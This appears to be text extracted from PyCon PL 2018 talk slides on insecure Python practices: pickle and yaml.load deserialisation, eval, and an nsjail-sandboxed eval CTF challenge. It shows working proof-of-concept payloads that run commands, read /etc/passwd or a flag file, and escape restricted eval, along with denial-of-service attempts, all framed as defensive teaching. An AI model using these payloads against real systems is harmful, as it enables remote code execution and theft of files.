Some insecure things to avoid in Python
Disconnect3d
PyCon PL 2018, 25.08.2018
# whoami
https://github.com/disconnect3d/
disconnect3d # irc.freenode.net
2
Lets talk about
pickle
3
pickle example
In [1]: import pickle��In [2]: pickle.dumps([1, 2, 3])�Out[2]: b'\x80\x03]q\x00(K\x01K\x02K\x03e.'��In [3]: pickle.loads(_2)�Out[3]: [1, 2, 3]��In [4]: pickle.dumps({'abcdef': [1, 2], 123: 321})�Out[4]: b'\x80\x03}q\x00(X\x06\x00\x00\x00abcdefq\x01]q\x02(K\x01K\x02eK{MA\x01u.'��In [5]: pickle.loads(_4)�Out[5]: {123: 321, 'abcdef': [1, 2]}
4
pickle example
In [6]: class A:� ...: def __init__(self, x):� ...: self.x = x ��In [7]: a = A(2)��In [8]: pickle.dumps(a)�Out[8]: b'\x80\x03c__main__\nA\nq\x00)\x81q\x01}q\x02X\x01\x00\x00\x00xq\x03K\x02sb.'��In [9]: c = pickle.loads(_8)��In [10]: a.x, c.x, a, c�Out[10]: (2, 2, <__main__.A at 0x7f367809b6a0>, <__main__.A at 0x7f36780c7320>)�
5
pickle via the docs...
Warning: The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
6
pickle malicious payload
In [1]: import subprocess� ...: � ...: class Malicious:� ...: def __reduce__(self):� ...: callable = subprocess.Popen� ...: args = ('/bin/cat', '/etc/passwd')� ...: return (callable, (args,))� ...: ��In [2]: with open('abc', 'wb') as f:� ...: d = pickle.dumps(Malicious())
...: f.write(d)� ...:
7
pickle malicious payload
In [1]: import subprocess� ...: � ...: class Malicious:� ...: def __reduce__(self):� ...: callable = subprocess.Popen� ...: args = ('/bin/cat', '/etc/passwd')� ...: return (callable, (args,))� ...: ��In [2]: with open('abc', 'wb') as f:� ...: d = pickle.dumps(Malicious())
...: f.write(d)� ...:
In [1]: import pickle��In [2]: with open('abc', 'rb') as f:� ...: pickle.loads(f.read())� ...:
�root:x:0:0:root:/root:/bin/bash�bin:x:1:1:bin:/bin:/usr/bin/nologin�daemon:x:2:2:daemon:/:/usr/bin/nologin�(...)
8
Totally different Python session,
It doesn’t even have subprocess imported
Lets talk about
yaml
9
yaml tutorial
10
yaml tutorial
11
yaml.load(...)
PyYAML allows you to construct a Python object of any type.
>>> yaml.load("""�... none: [~, null]�... bool: [true, false, on, off]�... int: 42�... float: 3.14159�... list: [LITE, RES_ACID, SUS_DEXT]�... dict: {hp: 13, sp: 5}�... """)��{'none': [None, None], 'int': 42, 'float': 3.1415899999999999,�'list': ['LITE', 'RES_ACID', 'SUS_DEXT'], 'dict': {'hp': 13, 'sp': 5},�'bool': [True, False, True, False]}
12
PyYAML allows you to construct a Python object of any type.
In [1]: import yaml��In [2]: yaml.load('''those_RCEs: !!python/object/apply:subprocess.check_output� ...: args: [ pwd ]� ...: kwds: { shell: true }''')�Out[2]: {'those_RCEs': b'/home/dc\n'}
In [3]: !pwd�/home/dc
13
Use yaml.safe_load instead of yaml.load
In [1]: import yaml��In [2]: yaml.safe_load('''those_RCEs: !!python/object/apply:subprocess.check_output� ...: args: [ pwd ]� ...: kwds: { shell: true }''')�
ConstructorError: could not determine a constructor for the tag 'tag:yaml.org,2002:python/object/apply:subprocess.check_output'
in "<unicode string>", line 1, column 13:
those_RCEs: !!python/object/apply:subprocess ...
^
14
Offtopic: yaml WTF
15
yaml.load(...) # WTF
In [2]: yaml.load('42')�Out[2]: 42��In [3]: yaml.load('10:42')�Out[3]: 642��In [4]: yaml.load('5:10:42')�Out[4]: 18642��In [5]: yaml.load('1:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0')�Out[5]: 1692665944473600000000000000000��In [6]: yaml.load('1:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:')�Out[6]: {1692665944473600000000000000000: None}
More at: https://github.com/cblp/yaml-sucks
16
Eval?
Everyone knows its insecure, right?
17
Yet another ‘eval’ Python 2 challenge
18
#!/usr/bin/env python
eval(raw_input().title())
Lets see something simpler...
19
#!/usr/bin/env python
eval(raw_input().title())
Can we import?
20
In [2]: eval('import os; os.system("/bin/echo works")')� File "<string>", line 1� import os; os.system("/bin/echo works")� ^�SyntaxError: invalid syntax� |
Yeah
21
In [3]: x = '__import__("os").system("/bin/echo works")'��In [4]: eval(x)�works� |
This is a builtin
What if we make the challenge harder?
22
eval(raw_input(), {'__builtins__':{}})
One can specify globals
[and locals] for eval
What if we make the challenge harder?
23
In [1]: x = '__import__("os").system("/bin/echo works")'��In [2]: eval(x, {'__builtins__': {}})���NameError: name '__import__' is not defined� |
What if we make the challenge harder?
24
In [18]: x = "{}.__class__.__base__.__subclasses__()[59]()._module�.__builtins__['__import__']('os').system('echo sick')"��In [19]: eval(x, {'__builtins__': {}})�sick�Out[19]: 0 |
What if we make the challenge harder?
25
In [18]: x = "{}.__class__.__base__.__subclasses__()[59]()._module�.__builtins__['__import__']('os').system('echo sick')"��In [19]: eval(x, {'__builtins__': {}})�sick�Out[19]: 0 |
This has to be adjusted to be warnings.catch_warnings class
Lets come back to the real challenge
#!/usr/bin/env python
eval(raw_input().title())
26
If we try the previous solution here… it doesn’t work
In [22]: x.title()�Out[22]: "{}.__Class__.__Base__.__Subclasses__()[59]()�._Module.__Builtins__['__Import__']('Os')�.System('Echo Sick')"�
27
And the solution comes from...
28
And the solution comes from...
PEP 263 - Defining Python Source Code Encodings
https://www.python.org/dev/peps/pep-0263/
This is about:�# -*- coding: latin-1 -*-�# -*- coding: iso-8859-15 -*-�# -*- coding: ascii -*-�# -*- coding: utf-42 -*-�# -*- coding: utf-8 -*-
29
The solution
eval("# Encoding: Unicode_Escape\r�\\145\\166\\141\\154\\050\\157\\160\\145\\156�\\050\\042\\146\\154\\141\\147\\042\\051\\056�\\162\\145\\141\\144\\050\\061\\060\\062\\064�\\051\\051".title())
30
There are no newlines
The solution
In [24]: !cat flag�Flag file first line�Flag file second line��In [25]: eval("# Encoding: Unicode_Escape\r\\145\\166\\141\\154\\050\\157\\160\\145\\156\\050\\042\\146\\154\\141\\147\\042\\051\\056\\162\\145\\141\\144\\050\\061\\060\\062\\064\\051\\051".title())��File "<string>", line 1� Flag file first line� ^�SyntaxError: invalid syntax
31
eval("# Encoding: Unicode_Escape\r�\\145\\166\\141\\154\\050\\157\\160\\145\\156\\050\\042\\146\\154\\141\\147�\\042\\051\\056\\162\\145\\141\\144\\050\\061\\060\\062\\064\\051\\051"�.title())
In [26]: s = '\\145\\166\\141 (...)' # string cut for better readability :P��In [27]: s.decode('unicode_escape')�Out[27]: u'eval(open("flag").read(1024))'�
32
‘Titlecase’ — challenge genesis
<atem> I'm sorry about the Title Case challenge :)... It came from a real-life code audit, so I had to use it in a challenge :)
<atem> i learned a lot of new stuff about python internals :)
<atem> i still don't know what this developer was thinking though
<atem> his use case was that eval('true'.title()) would be the easiest solution to transform the string 'true' to a python boolean; where 'true' was attacker controlled
33
When you get your input from user
And you “want to” eval(...)
34
Use ast.literal_eval(...) instead*
*works for a Python literal or container display
35
Eventually…
You might try safeeval�
36
Lets talk about my Python-challenges challenge
37
The task
38
The task
with open(__file__) as f:� print('~'*30)� for line in f:� if 'import os' in line:� started = True� elif not started:� continue�� if line == '#end-of-filter\n':� filtered = False�� elif filtered:� continue�� print(line, end='')� if 'class Challenge:\n' in line:� filtered = True� print('# [ filtered ]')� print('~'*30)�
39
The task
with open(__file__) as f:� print('~'*30)� for line in f:� if 'import os' in line:� started = True� elif not started:� continue�� if line == '#end-of-filter\n':� filtered = False�� elif filtered:� continue�� print(line, end='')� if 'class Challenge:\n' in line:� filtered = True� print('# [ filtered ]')� print('~'*30)�
40
The task
with open(__file__) as f:� print('~'*30)� for line in f:� if 'import os' in line:� started = True� elif not started:� continue�� if line == '#end-of-filter\n':� filtered = False�� elif filtered:� continue�� print(line, end='')� if 'class Challenge:\n' in line:� filtered = True� print('# [ filtered ]')� print('~'*30)�
41
The task
with open(__file__) as f:� print('~'*30)� for line in f:� if 'import os' in line:� started = True� elif not started:� continue�� if line == '#end-of-filter\n':� filtered = False�� elif filtered:� continue�� print(line, end='')� if 'class Challenge:\n' in line:� filtered = True� print('# [ filtered ]')� print('~'*30)�
42
The task
with open(__file__) as f:� print('~'*30)� for line in f:� if 'import os' in line:� started = True� elif not started:� continue�� if line == '#end-of-filter\n':� filtered = False�� elif filtered:� continue�� print(line, end='')� if 'class Challenge:\n' in line:� filtered = True� print('# [ filtered ]')� print('~'*30)�
43
The task
with open(__file__) as f:� print('~'*30)� for line in f:� if 'import os' in line:� started = True� elif not started:� continue�� if line == '#end-of-filter\n':� filtered = False�� elif filtered:� continue�� print(line, end='')� if 'class Challenge:\n' in line:� filtered = True� print('# [ filtered ]')� print('~'*30)�
44
Easter egg!
45
The task
Input: __doc__
Yay, someone found this easter egg. Gratz!
NOTE: there is no flag here,
but you can ask the organizer of this challenge
for a shot of vodka [if its still there!] ;)
46
The task
Input: __doc__
Yay, someone found this easter egg. Gratz!
NOTE: there is no flag here,
but you can ask the organizer of this challenge
for a shot of vodka [if its still there!] ;)
47
The task
class Challenge:
# [ filtered ]
#end-of-filter
48
The task
while True:
# you don't need that many, but feel free...
msg = input('msg: ')[:300]
print(eval(msg)) # YOLO. gl hf
49
The task
while True:
# you don't need that many, but feel free...
msg = input('msg: ')[:300]
print(eval(msg)) # YOLO. gl hf
50
The task
while True:
# you don't need that many, but feel free...
msg = input('msg: ')[:300]
print(eval(msg)) # YOLO. gl hf
51
Didn’t I just say NOT to use eval as someone can hack your server?
How is it done?
(that you can’t hack the server, at least in theory)
52
How is it done?
53
How is it done?
Tool created by Jagger (who plays with Dragon Sector CTF team) aka Robert Święcki.
54
How is it done?
Tool created by Jagger (who plays with Dragon Sector CTF team) aka Robert Święcki.
Funfact: he was supposed to be my manager in Google
55
How is it done?
Tool created by Jagger (who plays with Dragon Sector CTF team) aka Robert Święcki.
Funfact: he was supposed to be my manager in Google but apparently I rejected them
56
Lets try to get all the source code!
Input: open(__file__).read()
57
Lets try to get all the source code!
Input: open(__file__).read()
Traceback (most recent call last):
File "/proc/self/fd/100", line 188, in <module>
File "/proc/self/fd/100", line 184, in run
File "<string>", line 1, in <module>
FileNotFoundError: [Errno 2] No such file or directory: '/proc/self/fd/100'
58
Wait what?
'/proc/self/fd/100'
$ mount
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
(...)
59
Wait what?
'/proc/self/fd/100'
$ mount
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
(...)
60
Wait what?
'/proc/self/fd/100'
$ mount
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
(...)
61
So...
The file was read by [C]Python… but it is not there anymore.
def disconnect_code():� print(� 'I am closin\' the',� __file__,
'file so it aint too eazy;',� 'you know, for your own fun.\n'� )� os.close(100)�
62
So...
The file was read by [C]Python… but it is not there anymore.
def disconnect_code():� print(� 'I am closin\' the',� __file__,
'file so it aint too eazy;',� 'you know, for your own fun.\n'� )� os.close(100)�
63
So...
The file was read by [C]Python… but it is not there anymore.
def disconnect_code():� print(� 'I am closin\' the',� __file__,
'file so it aint too eazy;',� 'you know, for your own fun.\n'� )� os.close(100)�
64
Here comes the fun part!
65
Can we break or hack the server?
I don’t know.
If you ask for permission:�Yes, you can try.
66
Can we break or hack the server?
I don’t know.
If you ask for permission:�Yes, you can try.
67
Can we break or hack the server?
I don’t know.
If you ask for permission:�Yes, you can try.
68
But… good luck!
69
Lets see some examples!
70
Lets see some examples!
Input: msg: __import__('os').fork()
Traceback (most recent call last):
File "/proc/self/fd/100", line 188, in <module>
File "/proc/self/fd/100", line 184, in run
File "<string>", line 1, in <module>
BlockingIOError: [Errno 11] Resource temporarily unavailable
71
Lets see some examples!
Input: msg: __import__('os').fork()
Traceback (most recent call last):
File "/proc/self/fd/100", line 188, in <module>
File "/proc/self/fd/100", line 184, in run
File "<string>", line 1, in <module>
BlockingIOError: [Errno 11] Resource temporarily unavailable
72
Lets see some examples!
Input: msg: os.system('cat /etc/passwd')
-1
73
So maybe DOS?
74
DOS?
Input: list(range(2**32))
Traceback (most recent call last):
File "/proc/self/fd/100", line 188, in <module>
File "/proc/self/fd/100", line 184, in run
File "<string>", line 1, in <module>
MemoryError
75
DOS?
Input: list(range(2**32))
Traceback (most recent call last):
File "/proc/self/fd/100", line 188, in <module>
File "/proc/self/fd/100", line 184, in run
File "<string>", line 1, in <module>
MemoryError
76
How its build
77
Build
docker build -t test .
docker run -d -v /sys/fs/cgroup:/sys/fs/cgroup:rw -p 31337:31337 --privileged --rm test
78
Build
docker build -t test .
docker run -d -v /sys/fs/cgroup:/sys/fs/cgroup:rw -p 31337:31337 --privileged --rm test
79
Wait whaaaat? Rooot?
Build
FROM nsjail
RUN apt-get update && apt-get install -y python3
ADD . /task
RUN groupadd nobody
CMD /task/launch.sh
80
launch.sh
#!/bin/bash
mkdir -p /sys/fs/cgroup/{cpu,memory,pids}/NSJAIL
nsjail --config /task/nsjail.cfg 100<>/task/chall.py
81
nsjail.cfg
name: "Python challenges task"
description: "yolo"
mode: LISTEN
hostname: "OhYouHaxx0rThereIsNothingHere"
bindhost: "0.0.0.0"
port: 31337
82
nsjail.cfg
pass_fd: 0
pass_fd: 1
pass_fd: 2
pass_fd: 100
83
nsjail.cfg
pass_fd: 0
pass_fd: 1
pass_fd: 2
pass_fd: 100
keep_env: true
84
nsjail.cfg
time_limit: 60
max_cpus: 1
cgroup_pids_max: 1
rlimit_as: 64
rlimit_core: 0
rlimit_cpu: 10
rlimit_fsize: 0
rlimit_nofile: 32
rlimit_stack_type: SOFT
rlimit_nproc_type: SOFT
85
nsjail.cfg
uidmap {
inside_id: "1"
outside_id: "nobody"
}
gidmap {
inside_id: "1"
outside_id: "nobody"
}
86
nsjail.cfg
mount_proc: true
mount {
src: "/usr"
dst: "/usr"
is_bind: true
rw: false
}
mount {
src: "/lib"
dst: "/lib"
is_bind: true
rw: false
}
mount {
src: "/lib64"
dst: "/lib64"
is_bind: true
rw: false
}
mount {
src: "/bin"
dst: "/bin"
is_bind: true
rw: false
}
87
nsjail.cfg
mount {
src: "/task/fake_passwd"
dst: "/etc/passwd"
is_bind: true
rw: false
mandatory: true
is_dir: false
}
mount {
dst: "/tmp"
fstype: "tmpfs"
rw: true
}
88
nsjail.cfg
exec_bin {
path: "/usr/bin/python3"
arg0: "python3"
arg: "/proc/self/fd/100"
}
89
nsjail.cfg
seccomp_string: "POLICY example { "
seccomp_string: " ERRNO(1337) { getuid, getgid, geteuid, getegid }, "
seccomp_string: " ERRNO(0) { ptrace }, "
seccomp_string: " ALLOW { execve } "
seccomp_string: "} "
seccomp_string: "USE example DEFAULT ALLOW "
seccomp_log: true
90
nsjail.cfg
seccomp_string: "POLICY example { "
seccomp_string: " ERRNO(1337) { getuid, getgid, geteuid, getegid }, "
seccomp_string: " ERRNO(0) { ptrace }, "
seccomp_string: " ALLOW { execve } "
seccomp_string: "} "
seccomp_string: "USE example DEFAULT ALLOW "
seccomp_log: true
91
nsjail.cfg
seccomp_string: "POLICY example { "
seccomp_string: " ERRNO(1337) { getuid, getgid, geteuid, getegid }, "
seccomp_string: " ERRNO(0) { ptrace }, "
seccomp_string: " ALLOW { execve } "
seccomp_string: "} "
seccomp_string: "USE example DEFAULT ALLOW "
seccomp_log: true
92
nsjail.cfg
seccomp_string: "POLICY example { "
seccomp_string: " ERRNO(1337) { getuid, getgid, geteuid, getegid }, "
seccomp_string: " ERRNO(0) { ptrace }, "
seccomp_string: " ALLOW { execve } "
seccomp_string: "} "
seccomp_string: "USE example DEFAULT ALLOW "
seccomp_log: true
93
nsjail.cfg
seccomp_string: "POLICY example { "
seccomp_string: " ERRNO(1337) { getuid, getgid, geteuid, getegid }, "
seccomp_string: " ERRNO(0) { ptrace }, "
seccomp_string: " ALLOW { execve } "
seccomp_string: "} "
seccomp_string: "USE example DEFAULT ALLOW "
seccomp_log: true
94
This is bad, but whatever...
The end